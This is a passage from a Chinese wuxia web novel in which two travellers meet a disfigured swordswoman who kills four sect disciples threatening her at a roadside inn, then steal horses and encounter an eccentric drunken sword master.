了娄琴将这把剑给我时的表情,她说的话,她眉目间传递出的温柔和关心,确实对别人都来未有过。如果说娄琴对我无意,那她为何将这样一把宝剑毫不保留地给了我? “哎……真是让人羡慕啊!”李小谦叹息着,“旦丙,你艳福不浅哦!” 被李小谦这么一说,我有些难为情。 娄琴,一个温柔的女人,一个美丽的女人,一个武功高强的女人,同时,她还是一个很有钱的女人…… 这的确非常符合我对妻子的这个概念的认知。如果能和她住在一个宅子,再生一个孩子,绝对是这世间很美妙的事。 “可是……她的年龄……”我有些犹豫。 李小谦说:“年龄不是问题。娄姐姐虽然比你大十四岁,但她的样貌看起来不过比你大个三四岁,多水灵啊!再说了,在我们那里,姐弟恋是很时髦的!” 我惊讶:“姐弟恋?岂不是乱(脱敏)伦?!” 李小谦说:“姐弟恋!不一定是亲姐弟!哎呦我的妈呀,跟你这种旧社会的人交流起来,真他娘的费劲!” 我跟李小谦这种九百年后的妖怪交流起来也颇感艰难。 但是,有一点,李小谦说得是对的。娄琴的皮肤和样貌绝不像她年龄那样残酷。她长得很年轻。 李小谦继续说:“你想想,她香艳的酮体,曼妙的身姿,还有……”他凑到我的耳边,湿热而带臭的口气喷到我的脸上,一只手放在我的胸口,轻声说:“这里!” 我一把推开李小谦,骂道:“无耻!” 李小谦哈哈大笑,但我已经被他的描述拉入了不能自已的想象之中,随之竟然有了些反应。 如果娄琴真的对我有情,我要如何面对这份突如其来的情意呢? 突然间,我有些不知所措。 当晚,我和李小谦绕过浮玉山,在一处小镇上找了一个简陋的客栈。 这是一家茅草和培土搭起来的小院。远远看起,像个农居。但门口挂着的幡在风中飘摇,告诉我们,这是一家客栈。 这是一家看起来简陋,名号却很响亮的客栈。 因为它叫江湖客栈! 李小谦走进客栈,调侃着年过五旬的老板:“江湖客栈?!你怎么不叫天地酒家啊?门脸不大口气不小!” 店老板是个看起来年过五旬的老头子,他佝偻着身子,胡须花白,提壶的手不住地颤抖,让人担忧他会不会突然失力便将滚烫的茶水砸到自己脚面上。 “客官说笑了,小老儿姓江,单名一个湖字。”他这样介绍着自己。 李小谦轻蔑地一笑,说:“你妈还真敢给你起名。” 江湖说:“客官又说笑了,小的名字是家父起的。” 李小谦问:“你爹叫什么?” 他如此无礼,江湖有些不太高兴,但他还是碍于生意没有发作,说:“家父名叫江河!” 李小谦点了点头,说:“江河湖海!有意思!” 正说着,江湖在我们脸前摆下两只空碗,添满茶水,问:“客官要吃点什么?” 李小谦扫了一眼简陋的屋子,说:“你们这儿能有什么好吃的?” 江湖说:“自家养的鸡能下蛋,可以煮个鸡蛋,自家种的菜,这时候天寒地冻的,恐怕只有萝卜。” 李小谦冲我狡黠地一笑,说:“烙个鸡蛋饼来!” 我一脚蹬在李小谦的屁股上,骂道:“别拿老子搭茬!” 江湖不明所以,茫然地看着我们俩人打闹,却依然客气地询问:“客官可要煮个萝卜汤,去去寒气?!” 李小谦说:“行,再弄壶酒来。” 江湖笑着转身离去,我依旧瞪着李小谦,一直拳头攥起,正捉摸着要打他哪里。 这时候,一阵风从窗外吹来,带来了一股浓郁的香气。那香气凝神而且诱人,仿佛是春日里优雅的山兰,又好像是夏日浓郁的栀子,让我忍不住想要寻香探查,看个究竟。 那香味是从一个女子身上传出来的。 一个美到惊艳的女子。她独自一人,幽静地坐在角落里,冰冷而迷人的轮廓,诱人而白皙的脸庞,轻轻的一撇柳叶眉毛下,是一双闪动的明眸,像倒映在湖水中的清月,静谧而幽深。如此美丽的侧脸,配了她那一身素黑的衣裳,只能说天上的仙子才可以与她媲美,而绝不是人间所有。 我看得痴了。 她轻轻捻起茶盏,茶水映着皎洁的月光被她倒进轻启的樱唇。那动作优雅而美丽,那画面像仙境里醉饮的仙娥。我忍不住学着她的样子,端起茶盏,向口中倾倒。 然而,我并没有感到像我所见到的一样的美好。我只感到一股灼热的液体在我口中翻腾,舌头像刀割一样的疼痛,把嘴唇几乎要烫脱一层皮。 我登时被烫醒了,“噗”地一口将水喷出去。只手用力地煽着舌头,眼角的余光仍忍不住瞥向那女子。 只见她被我的声音所吸引,微微倾斜脸庞,眼角的余光向我一瞥,“噗嗤”一笑。那一笑,倾国倾城,看得人神魂颠倒! “这位......女侠!”李小谦已经上前去搭讪了。他似乎是比我更早注意到了那女子身边的三尺长剑。 银白色的剑鞘,点缀着我不认识的花纹,却如她人一样,美得惊艳。 李小谦淡淡地笑着,说:“一个人总要走陌生的路,看陌生的风景,听陌生的故事,却不知你可愿在这陌生的江湖里认识我这个陌生的人?” 那女子也笑了,她手轻轻一摆,示意李小谦在她对面坐下。李小谦谦和地点了点头,淡淡地说:“谢谢。” 李小谦坐下,抬起头,忽然表情凝固了,露出一种我所不能理解的微妙表情。月光下,我感觉李小谦有些犹豫,也好像有一丝尴尬。 我大感好奇,也走过了去。 站在那女子的对面,我看清了她另一半脸。如果说,这世间有仙境和炼狱,如果说这世间有仙娥和恶鬼。那么这个女子就是两者的合一。 她的另一半边脸上挂着一块巴掌大的黑斑,从眼角一直延伸到下巴。看到她半边脸的一瞬间,我顿时有种从骄阳似火的盛夏猛地坠入寒冰彻骨的严冬之感,冷得让我一连打了好几个寒颤。 (本章完) 第一卷 最后一个武林盟主 第三十三章 小月 窗外的月光越过窗沿,照在我的脸上。 那女子无疑已经清楚地看到了我的反应,但她并没有气恼地咆哮我,或是干脆拔出她手边的剑,而是带着一种轻蔑的笑意。似乎是在嘲笑的我的肤浅,嘲笑我在以貌取人。 她的笑让我感到惭愧。我开始重新审视这个女子,她的另外一半脸虽然丑陋,虽然那块赫然进入我眼帘的红斑上还翘着几根让人作呕的毛。但她的眼睛,却很美,美得几乎让人可以忘记她的丑陋。 这世间哪有那么完美的存在?任何绝美的事物都有不同程度的瑕疵。只是,在这女子的脸上,这样大的瑕疵,实在是太过让人惋惜了。 我挨着李小谦坐下,向她善意地笑了笑,说:“女侠,打扰了!” 她却还是报以不屑的一笑,好像对我方才失礼的反应仍然耿耿于怀。我更加惭愧,不由地低下了头。 李小谦问:“请教女侠的芳名?”这一点李小谦比我强出很多,即便是面对这样巨大的落差,他仍然能够处变不惊,泰然自若,仿佛那半张脸从未进入他的眼睛一样。 那女子轻轻地放下茶盏,翘起葱玉般白嫩的食指,在茶盏中轻轻一点,沾着茶水,在桌上写下了一个“肖”字,随后,她收回了手,再次将茶盏捻在指尖。 “肖?”我扭头看了一眼窗外。一片茫茫的黑幕,空中挂着像饼一般圆的月亮,月光清亮,却让夜幕显得更加深邃迷茫,像我此时的心情一样迷茫。 她叫肖?肖什么? 李小谦暗地里戳了我肚子一下,笑着说:“小月姑娘,你好,我叫李小谦。他叫姬旦丙!” 原来,她写得是“小月”两个字! 小月只是淡淡地笑了笑,好像她对我的名字并不怎么感兴趣。但她始终没有开口说话。 她会不会是个哑巴?如果她是个哑巴,那上天对她也太不公平了,夺走了她的声音,却留在她原本绝美的脸上一块带毛的红斑。 我琢磨着。突然,一股劲风将门吹开。门板打在墙上,发出“哐啷”一声响。 我们循声望去,只见是四个持刀的汉子依次走了进来,他们也不将门关上,就直接坐在我和李小谦刚才坐着的地方。 “喂!”我喊了一声,“那是我们的座位。” 四个汉子扭头看了我一眼,没有理会。 我刚要继续喊,李小谦却一把将我拉住了,他压着嗓子,说:“找死啊,别在外面惹事!” 他指了指一旁歪歪扭扭的一张桌子,说:“那里还有空座!” “坐这里吧!”小月突然开口说话了,她手指捻动着茶盏,淡淡地说:“反正我也是一个人。” 她声音优美而婉转,犹如清铃脆响,山莺吟唱,惹得我心中一阵激荡,同时也惹动了坐在一旁的四个大汉。 一个汉子站起身来,歪着头向小月张望,忽然眼前一亮,双眼中淫光乍起。他带着戏谑的笑,缓缓走近,说:“哎哟喂,哪里来的小娘子,长得这么俊俏,陪哥哥们喝几杯可好啊?” 他摇晃着身子,便说边走,走到我们跟前,表情突然凝固,就像李小谦刚刚坐在这里时一样。因为他已经看清了小月的全貌。 “哎呦,我的亲娘啊!”大汉惊叫一声,“哪里来怪物,长得跟鬼一样,可把老子给吓死了!” 另外三个大汉也闻声赶了过来,他们围着小月发着“啧啧”的叹息声。 一个汉子说:“这半边脸是怎么长得?可惜了,真是可惜了!” 另一个汉子伸处一只手,遮住小月长着红斑的一半脸,说:“把这边遮住的话,还是挺有意思的,哥哥不嫌弃,要不你陪哥哥玩玩,哥哥我可以忍受。” 又一个汉子一拍他的裤裆,调侃道:“你能受得了,不知道人家姑娘受不受得了你这话儿?!” 随即,四人爆笑如雷。小月依旧轻捻着茶盏,一副处变不惊的姿态。 我却已忍无可忍,即便是一个样貌丑陋的姑娘,也不能让四个大男人如此调戏。我一拍桌子,大声呵斥道:“你们四个无耻之徒,怎么能这样调侃一个姑娘?” 一个汉子一拳打在我的肩头,震得我肩胛骨连着半条胳膊一阵发麻。他喊着:“你小子莫不是要找死?打一进门就看你不甚顺眼!” 李小谦慌忙站起,拉着我的胳膊向后一挫,将我拉出去数尺,连忙讪笑着说:“好汉高抬贵手。”他一样如此,唯恐我在外面惹下是非。 虽然,我也不想惹事,但是,我却也不能眼睁睁地看着一个姑娘被他们无端这样调戏。 小月依旧保持着一种恰到好处的微笑,带着宠辱不惊的定力。正当我想再为她出头之时,却听见她淡淡地说:“括苍派的弟子都像你们这样无理吗?” 四个汉子同时怔住了,一个汉子问道:“你怎么知道我们是括苍派的?” 小月微微笑着,手指轻轻捻动茶盏,说:“括苍邱长俊,眉心一点红,江湖上谁人不知谁人不晓呢?虽然你们没有穿括苍派的衣服,但是,你出门总也应该把你眉心的那颗痣稍微遮掩一下吧。” 这时,我才注意到一个汉子的眉心处长了一颗豆粒大小的红痣。也许是邱长俊被小月戳破了家门,他开始顾及师门名声,说话客气了许多:“原来姑娘也是江湖中人,方才有所得罪,还望姑娘见谅。” “师兄!”另一个大汉突然叫出声来,“她认出了我们,若将此事传了出去,恐怕我们会被师父打死的!” 邱长俊一脸为难,说:“姑娘,方才我们实在无理,还请姑娘不要......” 那名大汉打断邱长俊,说:“求她没用!嘴长在人家脸上,我们控制不了啊!” “那你要如何?”邱长俊低声吼道。 “一不做二不休,男的杀了,女的......”那大汉双目淫光乍起,搓着双手,说,“就让我玩完了再杀吧!” “我靠!”李小谦低声骂道,“还他妈的有这种操作?!” 一股怒火涌了上来。就算是雁荡山的土匪,也没有这样胡作非为的!我一只手伸到袖口,准备拔出九郎剑在他们身上各捅一剑,放干他们的血! 小月咯咯地笑了出来,笑得十分开心,说:“括苍派......括苍派......好一个括苍派啊!陈伯洋这个老头啊......呵呵呵......” “你,你认得家师?”邱长俊惊道。 小月说:“不认得。本来还想以后寻个什么机会认识一下呢,现在嘛......我倒也不屑认得了!” 邱长俊双眼寒光一闪,似乎是动了杀念。他一只手已经悄悄地握住了刀柄,只待一刀挥下去,了却丑陋的小月。然后,还会了却我和李小谦。 夜黑风高,杀人灭口。 这是我第一次看到江湖中的黑暗面。江湖名门正派的弟子,无端调戏良家妇女,被人戳破门楣,竟然要杀人灭口! 从那时,这四个人已深深地烙在了我的心里,给我留下不可抹去的印象。 原来,江湖并不像八矛师父说得一样美好。没有狭义胸怀,没有铲奸除恶。没有鱼和虾,只有像邱长俊这样的无耻之徒。 “我再给你一次机会。”小月依旧笑着,声音却变得很冷,冷得仿佛让人感觉到死亡的濒临,冷得让人心里发颤。她说:“如果你们现在走了,我便留你们活命,如果你们现在不走,那我便要你们性命。”说罢,她又将茶盏捻起,将茶水和着月光,一同倒入口中。 “放你娘的屁!”一个大汉突然出手,挥刀向小月砍了过去。 我慌忙将手伸入袖中,准备将九郎剑拔出来。 但是,我太慢了! 和小月比起来,我真的太慢了。我感觉自己就像一头迟暮的老牛,迟钝,缓慢。而她,就是天际划过的流星,除了快,还是快。须臾间,我只见到寒光一闪,那个大汉的长刀还未落下,人却已经倒下去! 一剑封喉,却不见血光! 不见血光! 这一剑,似曾相识! “你是!”我感觉自己胸口仿佛被人猛击了一拳。她一剑割破了那大汉喉管,更刺穿了我的内心,让我心中的惊恐不住地向外涌着,顺着冰冷的血液流遍全身。 小月似有疑惑,她不解地看了我一眼。但她手中的剑却没有停下。 那三尺的长剑再次如流星一般地划过,映着月光,划破了黑暗的夜幕,斩断了流淌的空气,也割破了另外三人的喉管。 当他们纷纷倒下,许久,殷红的献血才从伤口中涌了出来。 依旧是一剑封喉!依旧是不见血光! 这怎能不让我想起禅慧寺外的那片树林中,那个手持三尺清风,身穿黑色衣裳的剑客。他以如鬼如魅的身形玩弄着圆信,直至他筋疲力竭,然后一剑! 就是那一剑! 和小月的这一剑如出一辙! 她,是那个黑衣人?! 第一卷 最后一个武林盟主 第三十四章 走了 她并不是那个黑衣人。 因为,那个黑衣人是个男人。 我曾清晰地听到过他的疑问。 “是你?”“你怎么会在这里?” 那分明就是一个男人的嗓音。浑厚,而且有力。但是,小月的这一剑与他的那一剑几乎一摸一样。 “你认得我?”小月的剑并没有收起来,她清亮的剑刃上没有丝毫血渍,依旧是那么亮,那么干净,就好像是纯净的干越,从未带走过任何生命。 但是,小月的剑却散发出逼人的寒气,寒气几乎逼进骨髓,让我整个人僵在那里,动弹不得。 “你是不是认得我?!”小月冷冷地问着,是质问,更加是逼问! “我,我......”我感觉自己的喉管一阵疼痛,全身止不住地发抖,“我不认得你!” 小月的瞳孔骤然微缩,她目光汇聚,冷冷地凝望着我:“那你说‘是你’,是什么意思?” “我,我......我没有!”我矢口否认。 “女,女侠。”李小谦也有些慌了,他颤巍巍地说,“今天的事与我们无关啊,我们什么都没看见,什么也不会说。我们也不是江湖中人,你放了我们吧!” “哼。”小月冷哼了一声,说,“方才你那向后一搓的步法,分明踏得就是少林派的独门轻功,你敢说你不是江湖中人?” “我靠!”李小谦叫道,“这你都看得出来,你眼睛也太毒了吧!” 小月目光依旧是冷冷的,她声音也是冷冷的,她说:“你们到底是谁?尤其是你!”她目光刺向我,我头皮一阵发麻。 “啊!” 突然,一个苍老而惊恐的叫喊声传来,打破了几乎凝固的空气。 我们同时回头,只见江湖手中的饭菜翻了一地,金黄的鸡蛋饼在地上碎了得一塌糊涂,他看着满地死尸,抱头尖叫。 小月突然将剑收了起来,她疾步上前搀住江湖,那苍老的手在小月白皙的掌心不住地颤抖着。 小月的声音变得很温柔,就像她第一次开口时我所听到的那样,婉转而动听,她说:“老人家,你别害怕,我不是坏人,他们才是坏人。” 她指着地上的四条死尸,突然话锋一转,对着我和李小谦冷冷地说:“还不快帮老人家把这四条恶狗收拾了!” 我身子一颤,和李小谦赶紧将那四条尸体抬出门外。小月再次向我们发号施令:“找个不碍眼的地方埋了,别放在门口,耽误老人家的生意。” 我和李小谦在小月的监视下,在距离江湖客栈数丈远的地方刨了一个深坑,将四人埋了起来。将土填平,小月才满意地把我俩人叫回客栈。 江湖惊魂未定,像烂泥一样地摊坐在椅子上瑟瑟发抖。小月轻轻拍了一下江湖的肩膀,他如同被雷击一般地猛然一颤,回过头惊恐地看着小月,喃喃道:“别,别杀我。” 小月带着善意地微笑,说:“我怎么会杀你呢。我只杀坏人。”她从怀中掏出一锭银子,二十两的银锭,放到江湖的手上。 或许,是那银锭太沉了。也或许,是那老人真的吓坏了。又或许,是他太老了,他苍老的手无力承受那沉甸甸的银子。 银锭“当”的一声跌落在地上。小月微笑着捡起银锭,放在桌上,说:“老人家,这银子算是惊吓到您的赔偿。另外,您再给我们准备两间客房,我们休息一晚就走。” 她说“我们”。我看向李小谦,李小谦向我猛地眨了眨眼,我问:“啥意思啊?” 李小谦戳了我一下,正要开口,却听小月说:“你们两个最好不要搞什么小动作!不然,当心我一剑抹了你们的脖子。” 我心里咯噔一下,不敢在动弹。这真的是一个翻脸不认人的女子。初见时,还柔情似水,杀起人来却毫不留情。 “女,女侠。”我喊了一声小月。因为那一剑封喉的招式,我有太多疑惑,我实在太疑惑,所以忍不住要问:“你刚才用的那一招叫什么?” 李小谦吓坏了,因为我说完之后,我看到他的脸都绿了。他瞪着惊恐的眼睛,似乎在向我嘶吼:“你疯了吗?” 我也觉得我疯了!但我真的忍不住。 好在小月并没有生气,她反而笑了,她问:“你是见过这招吗?” 我连忙否认:“没有,从来没见过!” 小月竟向我挤了一个白眼,好像是在撒娇一样地说:“撒谎!不理你了!”说罢,她扭头走了。 这还是一个捉摸不透的女人。 当晚,我和李小谦被迫住在了江湖客栈。其实,方圆几十里也就只有这么一家客栈。但如果有选择,我宁愿住在荒郊野外。 然而,小月并不想放我们走。她警告我们,即使她睡着了也能听到我们的动静,如果我们敢逃跑,她便赐我们一剑封喉。 我和李小谦便真的没敢再走。 李小谦问我:“你是不是认得她?” 我说:“我不认得。” 李小谦问:“那你为什么喊‘是你’?” 我说:“我认错人了。” 李小谦又问:“你认成了谁?” 我说:“杀圆信的人。但那是个男人。” 李小谦这时才明白过来,那招一剑封喉,便是圆信脖颈上的致命伤。他说:“这小妞一定和那个黑衣人是一伙的!” 我说:“我们要不要去问问她?” 李小谦骂道:“你自己找死别他妈的拉着我!” 我说:“圆通肯定想知道是谁杀了他的师弟。” 李小谦说:“那你也得有命回去告诉他才行。” 他说得很有道理。即便是我知道了小月和那黑人的关系,我也要有命回去告诉圆通才行。 第二天,我和李小谦揣着忐忑的心情走出房门,等候着小月的发落。然而,我俩顶着初升地太阳在小月的门口杵了将近两个时辰。 不敢敲门,也不敢喊。 但是,小月仿佛一直没有睡醒。 江湖端着一盆水走了过来,往地上随意一泼,问:“你俩干什么呢?” 我赶紧“嘘”了一声,小心翼翼向屋里指了指。 江湖说:“走了!” 我和李小谦几乎同时叫出声来:“什么?!走了?!” 江湖说:“对啊,昨儿半夜就走了。” 李小谦一撸袖管,骂道:“他娘的,老子还没找她算账呢,怎么就跑了!” 第一卷 最后一个武林盟主 第三十五章 劫马 小月成了谜。 她是谁?她来自哪里?她和杀害圆信的黑衣人到底有什么关系?她为何看似柔弱却又极端残忍?她为何突然离开? 这一切都在我心中埋下了深深的疑问。 然而,那个时候我根本不能想到的,也是我不敢想象的是,后来的小月,将成为我生命中最重要的女人。 无论她是谁,无论她做什么,无论经过多少岁月沧桑,小月的名字都将深深地烙在我的心里。 无法抹去! 确认过我们已经逃离小月的控制之后,我和李小谦再次踏上了前往少林寺的路途。惊魂的一夜,让我们原本忐忑的心情变得更加忧虑。 我们要在天黑之前赶到安吉县,在那里买两匹快马,争取尽早赶到少林寺,完成圆通交给我们的任务,然后尽快回到临安。 虽然,它只是叫临安。 当我们来到安吉的时候,却悲哀地发现,莫说是马,就是头驴也见不到了。 李小谦拉住一个行人,客气地询问:“大哥,请问哪里可以买马?” 那人仿佛听到一个天大的玩笑,说:“你说什么?买马?!” 李小谦说:“不错,买马!” 那人突然冷笑了一声,说:“你还不如去买个人呢!” 我很生气,说:“我们不买人!我们要买马!” 那人说:“马都让官府征走了,哪里还有马?” 李小谦问:“官府为什么要征马?是要和金国打仗吗?” 那人啐了一口,说:“打仗?!朝廷还有心打仗?!听说朝廷怕民间私自组建军队,所以把马都收走了,以后民间禁止养马!” 李小谦问:“那我们出门需要坐骑怎么办?” 那人说:“你长着脚干什么用的。” 我也不明白这个人哪里来的火气,说话的语气十分不友善。我正要和他理论一番,李小谦却拉着我走了。 我问:“你拉我干什么?瞧那人说话的语气,岂不是找揍吗?” 李小谦说:“现在关键的问题是找马,不是找茬。” 我又问:“去哪里找马?” 李小谦说:“你没听他说吗,马都被官府征走了。” 我大惊,道:“你要劫官府?!” 雁荡山的惨剧再次出现在我的脑海之中。招惹官府,无疑是死路一条。但李小谦却不以为然,他说:“你真的想走着去少林寺吗?” 我说:“过了淮河,到了金国的领地我们就能买到马了!” 李小谦没有再说话。他扭头走向了一个不知道去往何方的方向,我问:“你要去哪里?” 李小谦说:“天将黑,去劫马!” “我靠!”我学着李小谦骂了一句。李小谦忽地停下脚步,转身向我伸了一个大拇指,说:“旦丙,你越来越有做现代人的潜质了!” 李小谦一意孤行,我无奈陪他到了县衙。 一个普通的县衙,并不像在临安府看到的衙门一样高大气派,青砖垒起来的院墙被漆成了红色,月光下,显得有些可怖。 我和李小谦刚刚来到县衙门口,便闻到了一股刺鼻的马粪味儿。我俩相视一笑,很显然,这些马就在县衙之中。 我问李小谦:“怎么进去?” 李小谦说:“从正门进去!” 我瞥了一眼紧闭的衙门口,红色的大门中间一道漆黑如墨的缝隙,里面的情况无法得知。我说:“你是不是疯了?从正门怎么进去?”我指了指一旁两人高的墙,说:“翻过去吧!” 李小谦说:“你翻一个我看看!” 我沉默了,因为我翻不过去。但是,这并不代表我们可以从正门进去。 正在我踌躇间,李小谦已经去砸门了。 “咚咚咚!咚咚咚!” 李小谦用力很猛,敲门声震彻黑夜,也震彻了我脆弱的心。 我感觉浑身无力。漫天火箭射入雁荡山的场景又一次在我脑海中浮现,熊熊的大火,炼狱的嘶吼,血腥的杀戮......那些画面在我脑海中交错浮现。 一阵晕眩之后,我调头跑了。几乎是不受控制地疯狂逃窜。一路上,风声狂啸,擦过我的耳畔,我听到雁荡山的山贼们在痛苦的尖叫。 我听到我的兄弟们在熊熊大火中绝望地嘶吼着:“旦丙,救我!救我......” 我跑着,直到最后一丝力气从我身体中剥离,直到最后一口气被我沉重地呼出,我才感觉自己如同死掉一般地瘫坐在地上。 我死了吗? 我真的希望自己是死了。 因为,死了。那些画面便不会在我脑海中出现,那些声音也不会在我的脑海中响起。 “磕擦擦,磕擦擦......” 我无力地躺在地上,不知道过了多久,我听到了马蹄声渐近。我心头一紧,以为是官兵追来,慌忙坐了起来,却见李小谦勒马停在我的面前,他的手中还牵着另外一匹马。 他的身后是无尽的黑暗,幽怨而安静,不像有人跟随。 我问:“你是怎么弄到的马?” 李小谦却对我破口大骂:“姬旦丙!你大爷的!真是太不仗义了!居然撇下我逃跑!” 我想要解释,却无力解释,又不知如何解释。我不想向任何人讲述我所经历的雁荡山,那是我的耻辱和痛苦。 我勉力挤出一个微笑,连我都感觉到自己笑得牵强。我问:“你到底是怎么把马牵出来的?” 李小谦将一根马绳扔到我面前,说:“少废话!跟我走就行了!” 我说:“去哪?” 李小谦目光移向远方,他的目光仿佛穿透了幽深的黑夜,看到了我所不能看到的远方。他淡淡的说:“少林!” 我说:“现在?” 李小谦唱道:“让我们红尘作伴活得潇潇洒洒,策马奔腾共享人世繁华,对酒当歌唱出心中喜悦,轰轰烈烈把握青春年华......啊~啊~” 词曲豪迈,让我心情一阵澎湃。我猛地站了起来,翻身上马,正要驾马驰骋,与他一路北行,却见黑暗中白影一闪,犹如鬼魅! “什么人?!”我大叫。 黑暗中那白影骤然停住,那人头一仰,仿佛饮浊酒入喉,颇为辛辣。他发出陶醉的一声呼喊,说道:“好酒!好歌!” 第一卷 最后一个武林盟主 第三十六章 老者 圆月当空,这个季节的夜仍然异常的冷,冷风如无数纤细的针,吹透了衣裳,让人鸡皮疙瘩肆虐而起。 夜幕之中突然闪出的白影截断了我和李小谦策马奔腾的豪情。在这样的夜里,碰见这样的场景,起初我以为是黑夜遇见了鬼,吓得几乎就要叫出声来。 但又细细一看,才发现,这白影并不是鬼,鬼不会在月光照耀下在地上投下斑驳的影迹。 所以,他是一个人。 一个头发雪白,胡须雪白,衣裳雪白的老人。他莫约有六十多岁,手中攥着一个鎏金的酒葫芦,在清冷的月光下光彩更加耀眼。 他轻轻摇了摇鎏金的酒葫芦,除了光彩晃动之外,那葫芦口还发出了液体撞击的声响。“哗啦,哗啦”,像极了某种乐器的脆响,又像溪流涌动,声音颇为悦耳。 月光下,他频频举壶爽饮,每饮下一口,他都要龇牙,发出“斯哈”的声响。可以看出,那是一种很烈的酒。但他神情却又极度的享受,仿佛那酒是人间极致的美味,足以满足他内心中一切的需求。 “你是谁?”我忍不住开口询问。 那白衣白发的老者又饮了一口酒,说:“你们又是谁?竟然有胆量去诓骗官府的马匹,而且,还被你们骗到了手!” 李小谦翻身下马,甚是恭敬地行礼,说:“晚辈是禅慧寺圆通大师的弟子,李小谦。”虽然拜入了圆通门下,但李小谦出门仍然不称法号,只说自己俗家姓名。 我很好奇,莫非李小谦认得这个老者,不然以他一贯的作风,对于这种不期而至的路人,他总要戏弄一番,不会这样恭敬地对待。 那老者呵呵一笑,说:“禅慧寺圆通?江湖上从未听过这号人物,不知与少林派有何关系?” 李小谦说:“前辈慧眼如炬,家师的确出身少林。” 那老者点了点头,说:“难怪,难怪!看你的身形步伐颇有少林派的意味。”他目光移向我,问:“你呢?剑王张鸿九是你什么人?” 剑王张鸿九? “头一次听说。”我说。 那老者微微一怔,说:“你袖中的短剑莫不是张老先生的杰作?” 我心头一震,这个老头真是神奇,那把九郎剑我并未从袖口拔出来,为何他会知道我袖中藏有短剑? 九郎剑! 张鸿九? 莫非,他便是娄琴口中所说的“九郎”?那老者称“张鸿九”是一个“老先生”,难道,娄琴心里念想的竟是一个老头子?一个比眼前这个还要老的老头子? 我心中突然生出一种酸涩之感。 那老者正目不转睛的看着我,比起李小谦,好像他对我更感兴趣。我问:“你到底是谁?” 李小谦扯着我的裤腿,低声说:“别问了,快下了!” 老者哈哈大笑,说:“手中一壶酒,腰悬一柄剑......”他手伸到腰间,突然神情一滞,叫道:“糟糕!我的剑!” 他的手中有酒,腰间却没有剑。那老者有些慌张,他四处寻觅了一番,又怔怔地冥想了片刻,忽然一拍脑门,大呼:“哎呀!方才打酒的时候,把剑忘在酒坊了!糊涂!糊涂啊!” 八矛师父曾经说过,江湖上的人,有两样东西最为珍贵,一样是怀里的女人,另一样是手中的兵器。 但眼前的这个老者却着实让我看不明白。他这个年纪还有没有女人,我并不知道,但他竟然把剑弄丢了,这着实不是江湖人的作风。 “小兄弟,把马借我一用!”那老者飘然而起,身法轻盈,犹如神仙飞升,他修长的白衣、白发、白须在空中旖旎飘动,最终稳稳当当地落在李小谦的马背上。 “驾!” 那老者一夹马腹,马声嘶鸣,划破夜空,一人一马,扬长而去。 我和李小谦面面相觑,想到那个雪白的老头,只能用“怪异”二字形容。 我问李小谦:“你知道他是谁吗?” 李小谦说:“大概能猜得出来。” 我问:“他是谁?” 李小谦说:“你可听过酒剑仙?” 酒剑仙的大名我当然听过。他是青云派的掌门人,名叫白景行。江湖上都说,白景行除了剑法天下第一,酒量也是天下第一。他常常酒后舞剑,或者舞剑后饮酒。总之他的人生里除了剑便是酒。白景行常着一身白衣,白发飘然,白须三尺,慈眉善目,宛若神仙,所以江湖上的人都称他为“酒剑仙”。 我问:“他是酒剑仙白景行?青云派的掌门人?” 李小谦说:“不然呢?难道你觉得特征不符吗?” 的确。那老者看起来,与江湖上盛传的酒剑仙无比相像。 但是,从今晚的事看来,他手中的酒远比他手中剑更加重要。 我感慨:“这老头也太不着调了!” 李小谦突然跃上了我的马背,坐在我身后,说:“追过去看看!” 我问:“追过去干什么?” 李小谦说:“你傻啊!他骑走了我们的马,得要回来啊!” 我“哦”了一声,驾着马向白景行消失的方向追去。 安吉县城并不算大,但我和李小谦在县城中寻了一个多时辰,都没找见白景行雪白的身影。眼看着两匹马无端被人骑走了一匹,李小谦心中愤愤难平,嘴上低声咒骂着“老不死的”之类的话。 天蒙蒙亮,城门处一大摊马粪映入我们眼帘。李小谦大喜,说:“那老家伙出城了,快追!” 我问:“你怎么知道出城了?万一马拉完粪之后,又去了城里的别的地方呢?” 李小谦一指城门外,说:“那里还有一坨。” 果然,三十米外的城外,还有一摊马粪。可以推测,白景行的确是出城了。 我们驾马出城,沿路狂奔了十几里,竟真的又见到了白景行。那时,太阳已然升起,初阳斜照,给光秃的树干蒙上了一层金灿灿的光。 李小谦的马在树下悠闲地啃着树皮。树上,一根粗壮的树干上,修长的白衣垂下,白景行举起鎏金的酒葫芦,一道清流闪着金光淌入白景行的口中。酒花澎溅,沾着他雪白的胡须上,金光一打,幻出别样的光彩。他腰间悬着一柄黄褐色的素剑,虽然不见任何装饰,但是却给人一种不可言喻的威仪。 我大叫一声:“老头!把马还给我们!”话刚说完,腰间突然传来锥刺一般的疼痛,竟是李小谦在身后掐了我一把。 我怒问:“你干什么?” 李小谦翻身下马,向白景行恭敬行礼,说:“老前辈可找回了宝剑?是否有什么事需要我二人效劳?” 李小谦是瞎了吗?白景行腰间挂着那么长一把剑,他看不见吗? 白景行嘿嘿笑了两声,神情有些尴尬,说:“这个......小事一桩,自然是找回来了。只不过......你们出去不要乱说就好,毕竟不是什么有脸面的事。” 李小谦说:“前辈吩咐,我等自然不敢乱言。” 他不是说追过来要马吗?怎么又成了帮忙的?李小谦这个人的行事风格,从来都让我捉摸不透。 “小子!”白景行突然对我说,“把你的剑借我看看可好?” 我一捂袖口,说:“不好!” 当然不能让他看,一匹马他说骑走就骑走,这老家伙万一把我的剑又拐跑了,我要如何向娄琴交待呢? 但李小谦却不这么认为,他劝我:“给前辈看看何方?快拿过去!” 我捂着袖口,说:“这老家伙刚抢了你的马,又想要我的剑!我又不傻,绝对不能给他!” 白景行哈哈大笑。突然,树枝一颤,接着,我眼睁睁地看着一道白影从树上以极快地速度向我飞了过来,我尚未来得及作出任何反应,就感觉袖口微微一动,剑已不在了。 我连忙转身。只见白景行已经将九郎剑稳稳地端在了手中。他单手握剑,翻过来复过去地把玩着,剑鞘上的宝石在晨阳的光照下显得更加光彩夺目。 “铮”的一声,短剑出鞘。白景行眼前一亮,大叫一声:“好剑!好剑!果然是张鸿九的手笔!” 然而,他眉头又微微一蹙,将剑凑到鼻子边闻了闻,眉头蹙得更紧了。忽然,白景行转头看向我,目光如炬,声音颇有寒意:“是谁给这把剑喂的毒?!” 我说:“我不知道。” 白景行问:“你不知道?” 我说:“我就是不知道,你快把剑还给我!” 白景行脸色一变,似乎有些不悦,他说:“以你的年纪和功夫,恐怕不适合用这样的毒剑。这把剑就暂且由我帮你保管,适时再还给你吧!” 我大惊,大怒,叫道:“你休想!把剑还给我!”说完,就要上去和他抢。 